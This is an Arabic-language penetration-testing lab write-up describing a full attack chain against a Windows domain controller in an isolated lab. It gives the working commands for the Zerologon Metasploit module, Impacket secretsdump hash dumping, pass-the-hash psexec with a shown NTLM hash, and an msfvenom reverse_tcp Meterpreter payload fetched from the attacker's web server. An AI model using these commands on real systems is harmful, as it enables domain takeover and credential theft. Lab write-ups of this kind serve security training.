
استغلال وحدة تحكم المجال من البداية إلى النهاية باستخدام Metasploit وImpacket: اكتشاف DC10، واستغلال ثغرة Zerologon (CVE-2020-1472)، واستخراج هاشات NTLM، والحصول على صلاحيات SYSTEM، وإنشاء جلسة Meterpreter.
استغلال شامل لوحدة تحكم المجال من البداية إلى النهاية باستخدام Metasploit و Impacket: اكتشاف DC10، واستغلال ثغرة Zerologon (CVE-2020-1472)، واستخراج تجزئات NTLM، والحصول على شل SYSTEM، وإنشاء جلسة Meterpreter.
الملخص التنفيذي يوضح هذا التمرين سلسلة هجوم كاملة وواقعية ضد وحدة تحكم مجال كانت معرّضة لثغرة CVE-2020-1472 (Zerologon). شملت المهمة الاكتشاف، وإثراء الخدمات، والاستغلال، واستخراج بيانات الاعتماد، والحركة الجانبية، والتحقق من مرحلة ما بعد الاستغلال. نجحت في الحصول على وصول بمستوى SYSTEM وإنشاء جلسة Meterpreter مستقرة على DC باستخدام مزيج من Zerologon و Impacket secretsdump + pass-the-hash وحمولات msfvenom/meterpreter. تم التقاط لقطات شاشة وأدلة أوامر في كل مرحلة كأدلة إثبات.
نظرة عامة على المختبر: محاكاة سلسلة هجوم كاملة على وحدة تحكم مجال Windows باستخدام Metasploit و Impacket؛ الاكتشاف، و Zerologon، و secretsdump، و pass-the-hash، وجلسة Meterpreter خاضعة للتحكم.
لماذا يهم هذا المؤسسات: نظرًا لأن DC يتحكم في المصادقة وسياسات المجموعة والهوية للمجال بأكمله، فإن أي اختراق يمكن أن يتصاعد إلى تعطيل كامل للأعمال، والاستيلاء على الحسابات، وسرقة البيانات، ونشر برامج الفدية، وفقدان الثقة التنظيمية. حماية وحدات التحكم بالمجال (DCs) تحافظ على استمرارية التشغيل والإيرادات والسمعة من خلال منع المهاجمين من تحويل الهوية إلى نقطة فشل واحدة.
سيتم تزويدك بجهازين في شبكة مختبر معزولة. أحد النظامين هو وحدة تحكم مجال Windows (DC) تُدعى DC10 تستضيف خدمات Active Directory الأساسية. النظام الآخر هو محطة عمل Kali موضوعة في نفس الشبكة الفرعية للخادم لأغراض الاختبار. يُفترض أن تكشف DC عن خدمات المجال النموذجية (على سبيل المثال، LDAP و Kerberos و SMB) وقد تكون معرّضة لمشكلات معروفة. يُتوقع استخدام مضيف Kali للاستطلاع والاستغلال والوصول إلى بيانات الاعتماد والحركة الجانبية والتحقق من مرحلة ما بعد الاستغلال. المهمة هي تحديد DC، وتأكيد تفاصيل المجال، والحصول على موطئ قدم أولي باستخدام تقنية مناسبة، واستخراج مواد بيانات الاعتماد لتمكين الوصول الإداري، ثم إظهار السيطرة على DC من خلال شل بعيد وجلسة وكيل مُدارة، مع التكيف مع أي قيود بيئية مثل الخدمات المُصححة، أو تقييد الاتصال الصادر، أو دفاعات نقطة النهاية. DC: 10.1.16.1 Kali: 10.1.16.66
استخدمت msfconsole مع دعم قاعدة البيانات، ونفّذت مسحًا شاملاً بـ nmap من داخل MSF، واستوردت النتائج، ونقّحت المضيفين والخدمات لتأكيد تعرض DC10.
نفّذت مسحًا لمنافذ SYN في MSF، وبصمت SMB، وأكدت خدمات LDAP و Kerberos على 10.1.16.1. استعلمت من LDAP لاسترجاع اسم المجال.
### فحص إصدار SMB
auxiliary/scanner/smb/smb_version.
auxiliary/gather/ldap_query.
شغّلت auxiliary/admin/dcerpc/cve_2020_1472_zerologon ضد DC10 لإعادة تعيين كلمة مرور حساب الجهاز إلى فارغة.
باستخدام Impacket، قمت بتفريغ تجزئات NTLM من DC وحددت بيانات اعتماد المسؤول لاستخدامها في pass-the-hash.
impacket-secretsdump -just-dc-ntlm structureality/dc10\[email protected]
استخدمت pass-the-hash مع psexec للحصول على شل بمستوى SYSTEM على DC10 والتحقق من هوية المضيف.
impacket-psexec structureality/[email protected] -hashes aad3b435b51404eeaad3b435b51404ee:dae57d78fec919471799ce0fae8236b9
كما ترى، أنا بالفعل داخل C:\Windows\system32
أنشأت حمولة meterpreter من نوع reverse_tcp، واستضفتها عبر HTTP، ونزّلتها إلى DC10، وشغّلت handler، ونفّذت الحمولة لفتح جلسة Meterpreter.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.1.16.66 LPORT=4567 -f exe -o secretfile.exe
شغّلت خادم ويب بسيطًا للسماح للنظام المستهدف بالوصول بسهولة إلى هذا الملف التنفيذي لـ meterpreter باستخدام:
python3 -m http.server 8080
على الجهاز المستهدف، نفّذت الملف التنفيذي لـ meterpreter (secret.exe)
كما ترى، أنشأت الآن اتصال شل عكسي بين DC10 المستهدف ونظام Kali. تم تحقيق ذلك باستخدام استغلالات خارجية/عن بُعد فقط ضد الهدف الضعيف.
بينما يقع نظام Kali في الشبكة الفرعية للخادم بجوار هدف DC10، هذه الأنواع من الهجمات ممكنة عبر الإنترنت إذا كان النظام المستهدف مكشوفًا على الإنترنت المفتوح.